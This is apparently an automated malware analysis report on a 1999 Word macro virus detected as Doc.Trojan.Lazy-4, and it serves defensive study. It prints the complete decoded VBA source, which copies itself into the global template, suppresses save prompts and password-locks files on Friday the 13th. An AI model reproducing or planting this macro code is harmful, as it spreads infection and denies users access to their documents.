Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4d2f49fff94c16b…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-04-06 19:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 85422bf38e80bda4d7ccd2d3e4f5cf3b SHA-1: ff9489236129a8258098e961ba201724b082cf70 SHA-256: c4d2f49fff94c16baba41152b7e945c5d7ec2ee3089a245b5bb80c67bb74fbad
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a legacy Word document containing a VBA macro named 'AutoOpen'. This macro is designed to copy itself and another macro named 'Lazy' to global templates and the current document, and then attempts to execute a payload. The presence of the 'AutoOpen' macro and the legacy WordBasic markers strongly suggest a self-propagating macro-based malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Lazy-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lazy-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1931 bytes
SHA-256: cfc5a396097ed737bff7cd73a256f646571678d165ce387221c9c299caa3c6e7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Infects an existing Document or Template."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
On Error Resume Next

WordBasic.Call "Lazy.EnableAutoMacros"

WordBasic.Call "Lazy.CopyMacros", "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.Call "Lazy.CopyMacros", "Global:Lazy", WordBasic.[FileName$]() + ":Lazy"
WordBasic.Call "Lazy.SaveFile", 1

WordBasic.Call "Lazy.CopyMacros", WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen"
WordBasic.Call "Lazy.CopyMacros", WordBasic.[FileName$]() + ":Lazy", "Global:Lazy"
WordBasic.Call "Lazy.DisableGlobalPrompt"

WordBasic.Call "Lazy.Payload"

End Sub

Attribute VB_Name = "Lazy"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Used by the Lazy Virus."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.Lazy.MAIN"
'REM Lazy!
End Sub

Private Function CopyMacros(From$, To_$)
On Error Resume Next
WordBasic.MacroCopy From$, To_$, 1
End Sub

Private Function DisableGlobalPrompt()
On Error Resume Next
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
End Sub

Private Function EnableAutoMacros()
On Error Resume Next
WordBasic.DisableAutoMacros 0
End Sub

Private Function SaveFile(Format_)
On Error Resume Next
WordBasic.FileSaveAs Format:=Format_
End Sub

Private Function Payload()
Dim Password$
On Error Resume Next

If WordBasic.WeekDay(WordBasic.Now()) = 6 And WordBasic.Day(WordBasic.Now()) = 13 Then
Password$ = Chr(76) + Chr(97) + Chr(122) + Chr(121)
WordBasic.FileSaveAs Password:=Password$
End If

End Sub

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